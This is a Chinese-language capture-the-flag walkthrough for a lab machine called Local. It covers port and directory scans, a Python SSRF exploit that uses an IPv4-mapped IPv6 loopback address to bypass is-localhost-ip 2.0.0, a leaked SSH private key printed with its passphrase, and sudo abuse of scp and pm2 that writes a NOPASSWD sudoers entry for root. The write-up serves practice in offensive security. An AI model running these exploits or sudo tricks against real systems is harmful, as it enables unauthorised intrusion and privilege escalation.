Local

靶机:Local
作者:Sublarge
靶机ID: 644
系统:Linux
难度:Easy

信息搜集

192.168.43.120

端口扫描

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
┌──(root㉿Eecho)-[~]
└─# rustscan -a 192.168.43.120 -- -A
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog :
: https://github.com/RustScan/RustScan :
--------------------------------------
Port scanning: Because every port has a story to tell.

[~] The config file is expected to be at "/root/.rustscan.toml"
[~] File limit higher than batch size. Can increase speed by increasing batch size '-b 10140'.
Open 192.168.43.120:22
Open 192.168.43.120:80
Open 192.168.43.120:3006
[~] Starting Script(s)
[>] Running script "nmap -vvv -p {{port}} -{{ipversion}} {{ip}} -A" on ip 192.168.43.120
Depending on the complexity of the script, results may take some time to appear.
[~] Starting Nmap 7.99 ( https://nmap.org ) at 2026-05-14 16:26 +0800
NSE: Loaded 158 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 16:26
Completed NSE at 16:26, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 16:26
Completed NSE at 16:26, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 16:26
Completed NSE at 16:26, 0.00s elapsed
Initiating ARP Ping Scan at 16:26
Scanning 192.168.43.120 [1 port]
Completed ARP Ping Scan at 16:26, 0.05s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 16:26
Completed Parallel DNS resolution of 1 host. at 16:26, 0.50s elapsed
DNS resolution of 1 IPs took 0.50s. Mode: Async [#: 3, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 16:26
Scanning 192.168.43.120 [3 ports]
Discovered open port 22/tcp on 192.168.43.120
Discovered open port 80/tcp on 192.168.43.120
Discovered open port 3006/tcp on 192.168.43.120
Completed SYN Stealth Scan at 16:26, 0.02s elapsed (3 total ports)
Initiating Service scan at 16:26
Scanning 3 services on 192.168.43.120
Completed Service scan at 16:26, 11.05s elapsed (3 services on 1 host)
Initiating OS detection (try #1) against 192.168.43.120
NSE: Script scanning 192.168.43.120.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 16:26
Completed NSE at 16:26, 0.22s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 16:26
Completed NSE at 16:26, 0.01s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 16:26
Completed NSE at 16:26, 0.00s elapsed
Nmap scan report for 192.168.43.120
Host is up, received arp-response (0.00066s latency).
Scanned at 2026-05-14 16:26:06 CST for 13s

PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 64 OpenSSH 10.0 (protocol 2.0)
80/tcp open http syn-ack ttl 64 Apache httpd 2.4.66 ((Unix))
|_http-title: It works! Apache httpd
| http-methods:
| Supported Methods: POST OPTIONS HEAD GET TRACE
|_ Potentially risky methods: TRACE
|_http-server-header: Apache/2.4.66 (Unix)
3006/tcp open http syn-ack ttl 64 Node.js (Express middleware)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Site doesn't have a title (text/html; charset=utf-8).
MAC Address: 08:00:27:7C:08:CD (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19, OpenWrt 21.02 (Linux 5.4)
TCP/IP fingerprint:
OS:SCAN(V=7.99%E=4%D=5/14%OT=22%CT=%CU=36670%PV=Y%DS=1%DC=D%G=N%M=080027%TM
OS:=6A05872B%P=x86_64-pc-linux-gnu)SEQ(SP=FB%GCD=1%ISR=10D%TI=Z%CI=Z%II=I%T
OS:S=A)OPS(O1=M5B4ST11NW7%O2=M5B4ST11NW7%O3=M5B4NNT11NW7%O4=M5B4ST11NW7%O5=
OS:M5B4ST11NW7%O6=M5B4ST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=F
OS:E88)ECN(R=Y%DF=Y%T=40%W=FAF0%O=M5B4NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A
OS:=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%
OS:Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=
OS:A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=
OS:Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%
OS:T=40%CD=S)

Uptime guess: 1.740 days (since Tue May 12 22:40:31 2026)
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=251 (Good luck!)
IP ID Sequence Generation: All zeros

TRACEROUTE
HOP RTT ADDRESS
1 0.66 ms 192.168.43.120

NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 16:26
Completed NSE at 16:26, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 16:26
Completed NSE at 16:26, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 16:26
Completed NSE at 16:26, 0.00s elapsed
Read data files from: /usr/share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.44 seconds
Raw packets sent: 26 (1.938KB) | Rcvd: 18 (1.410KB)
  • 22 SSH
  • 80 HTTP
  • 3006 HTTP

目录扫描

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
┌──(root㉿Eecho)-[~]
└─# gobuster dir -u http://192.168.43.120/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt,html,back,cgi,jpg,json,md
===============================================================
Gobuster v3.8.2
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.43.120/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.8.2
[+] Extensions: php,txt,html,back,cgi,jpg,json,md
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
index.html (Status: 200) [Size: 217]
package.json (Status: 200) [Size: 155]
server-status (Status: 403) [Size: 317]
Progress: 1985022 / 1985022 (100.00%)
===============================================================
Finished
===============================================================

80端口

image

访问flag但是返回404

3006端口

image

可以看出来是一个ssrf

80端口/package.json泄露了配置使用了 is-localhost-ip的 2.0.0 版本

这个版本是有个SSRF漏洞的,那么应该是利用ssrf来读取/flag

https://www.exploit-db.com/exploits/52496

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import requests

TARGET_HOST = "192.168.43.120"
TARGET_PORT = 3006

payload_url = f"http://[::ffff:7f00:1]:{TARGET_PORT}/flag"

attack_url = f"http://{TARGET_HOST}:{TARGET_PORT}/preview"
params = {
"url": payload_url
}

print(f"[*] Sending exploit payload to: {attack_url}")
try:
response = requests.get(attack_url, params=params, timeout=5)
print(f"[+] Status Code: {response.status_code}")
print("[+] Response Content:")
print(response.text)
except Exception as e:
print(f"[-] Error sending request: {e}")

image

访问/0h6WTnHJggZg451m泄露了私钥

1
2
3
4
5
6
7
8
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAACmFlczI1Ni1jdHIAAAAGYmNyeXB0AAAAGAAAABDwS8zko+
1L+A6lIVUI8OycAAAAGAAAAAEAAAAzAAAAC3NzaC1lZDI1NTE5AAAAICNoJ+OrztBU///d
h239MLIyPjhUdvUj5TvsrO6Ub/6jAAAAkDGs74H2Mc8HPeVRe41W9QlmQwVj+HH170QF5P
wFMkoTJdlLyKWkKoUFVIpiOd5fVhy+xoSwwkOGHcrxCaIyk70uJ+VMELfMOt4JzH0jja/L
TDfWAPa8Ss8JzTHp3VsOyNzt1Zy8Y4ooUjk32Pdpy9CQAtlbyA/9Z4SCKgc6vFvWHgj5YT
WJ9X0V1ZZXa8ZD6Q==
-----END OPENSSH PRIVATE KEY-----

存在passphrase保护,爆破半天没爆出来,然后灵光一现想到前面泄露私钥的路由0h6WTnHJggZg451m经过尝试发现0h6WTnHJggZg451m就是密码

查看用户名

1
2
3
4
┌──(root㉿Eecho)-[/tmp/bbbb]
└─# ssh-keygen -y -f id_ed25519
Enter passphrase for "id_ed25519":
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAICNoJ+OrztBU///dh239MLIyPjhUdvUj5TvsrO6Ub/6j wiktor@Lara

用户名是wiktor现在用户名和私钥都有了直接登录ssh

1
2
3
4
5
6
7
8
9
10
11
12
┌──(root㉿Eecho)-[/tmp/bbbb]
└─# ssh wiktor@192.168.43.120 -i id_ed25519
Enter passphrase for key 'id_ed25519':
_
__ _____| | ___ ___ _ __ ___ ___
\ \ /\ / / _ \ |/ __/ _ \| '_ ` _ \ / _ \
\ V V / __/ | (_| (_) | | | | | | __/
\_/\_/ \___|_|\___\___/|_| |_| |_|\___|

wiktor@Local:~$ id
uid=1000(wiktor) gid=1000(wiktor) groups=1000(wiktor)
wiktor@Local:~$

提权

wiktor -> citrus

1
2
3
4
5
6
7
8
9
wiktor@Local:/tmp$ sudo -l
Matching Defaults entries for wiktor on Local:
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

Runas and Command-specific defaults for wiktor:
Defaults!/usr/sbin/visudo env_keep+="SUDO_EDITOR EDITOR VISUAL"

User wiktor may run the following commands on Local:
(citrus) NOPASSWD: /usr/bin/scp

这里citrus用户可以使用scp提权。这里的思路是写公钥

1
2
3
4
ssh-keygen -t rsa
cp /home/wiktor/.ssh/id_rsa.pub /tmp/mykey.pub
chmod 644 /tmp/mykey.pub
sudo -u citrus /usr/bin/scp /tmp/mykey.pub /home/citrus/.ssh/authorized_keys

横向移动到citrus

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
wiktor@Local:~$ ssh citrus@localhost -i ~/.ssh/id_rsa
The authenticity of host 'localhost (::1)' can't be established.
ED25519 key fingerprint is SHA256:xJ90oWmr5sPR2afHz9etzSdtxINmLI+JvbwgV/iCsWY.
This host key is known by the following other names/addresses:
~/.ssh/known_hosts:1: 127.0.0.1
Are you sure you want to continue connecting (yes/no/[fingerprint])? YES
Warning: Permanently added 'localhost' (ED25519) to the list of known hosts.
_
__ _____| | ___ ___ _ __ ___ ___
\ \ /\ / / _ \ |/ __/ _ \| '_ ` _ \ / _ \
\ V V / __/ | (_| (_) | | | | | | __/
\_/\_/ \___|_|\___\___/|_| |_| |_|\___|

citrus@Local:~$ ID
-bash: ID: command not found
citrus@Local:~$ id
uid=1001(citrus) gid=1001(citrus) groups=1001(citrus)
citrus@Local:~$

citrus -> root

1
2
3
4
5
6
7
8
9
10
11
12
13
citrus@Local:~$ sudo -l
Matching Defaults entries for citrus on Local:
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

Runas and Command-specific defaults for citrus:
Defaults!/usr/sbin/visudo env_keep+="SUDO_EDITOR EDITOR VISUAL"

User citrus may run the following commands on Local:
(ALL : ALL) NOPASSWD: /usr/local/bin/pm2
citrus@Local:~$ cat /usr/local/bin/pm2
#!/usr/bin/env node

require('../lib/binaries/CLI.js');

citrus可以无密码以root运行/usr/local/bin/pm2

PM2 是一个 Node.js 的进程管理器,它最强大的地方在于可以启动并持久化运行任何命令或脚本

利用 PM2 在 /etc/sudoers.d/ 目录下创建一个权限文件

1
sudo /usr/local/bin/pm2 start "echo 'citrus ALL=(ALL) NOPASSWD: ALL' > /etc/sudoers.d/citrus" --name grant_privs
  • /etc/sudoers.d/citrus​:这是 Linux 系统存放用户 sudo 权限的目录。

  • citrus ALL=(ALL) NOPASSWD: ALL​:允许 citrus用户在任何地方(ALL),以任何用户身份(ALL),无需输入密码(NOPASSWD),执行任何命令(ALL)

  • --name grant_privs

    • 给 PM2 里的这个后台任务起一个名字叫 grant_privs
1
2
3
4
5
6
7
8
9
10
11
12
13
citrus@Local:~$ sudo /usr/local/bin/pm2 start "echo 'citrus ALL=(ALL) NOPASSWD: ALL' > /etc/sudoers.d/citrus" --name grant_privs
[PM2] Starting /bin/bash in fork_mode (1 instance)
[PM2] Done.
┌────┬────────────────┬─────────────┬─────────┬─────────┬──────────┬────────┬──────┬───────────┬──────────┬──────────┬──────────┬──────────┐
│ id │ name │ namespace │ version │ mode │ pid │ uptime │ ↺ │ status │ cpu │ mem │ user │ watching │
├────┼────────────────┼─────────────┼─────────┼─────────┼──────────┼────────┼──────┼───────────┼──────────┼──────────┼──────────┼──────────┤
│ 0 │ ctf-ssrf │ default │ 1.0.0 │ fork │ 2496 │ 32m │ 0 │ online │ 0% │ 65.5mb │ root │ disabled │
│ 1 │ grant_privs │ default │ N/A │ fork │ 2694 │ 0 │ 1 │ stopped │ 0% │ 0b │ root │ disabled │
└────┴────────────────┴─────────────┴─────────┴─────────┴──────────┴────────┴──────┴───────────┴──────────┴──────────┴──────────┴──────────┘
citrus@Local:~$ sudo -i
root@Local:~# id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
root@Local:~#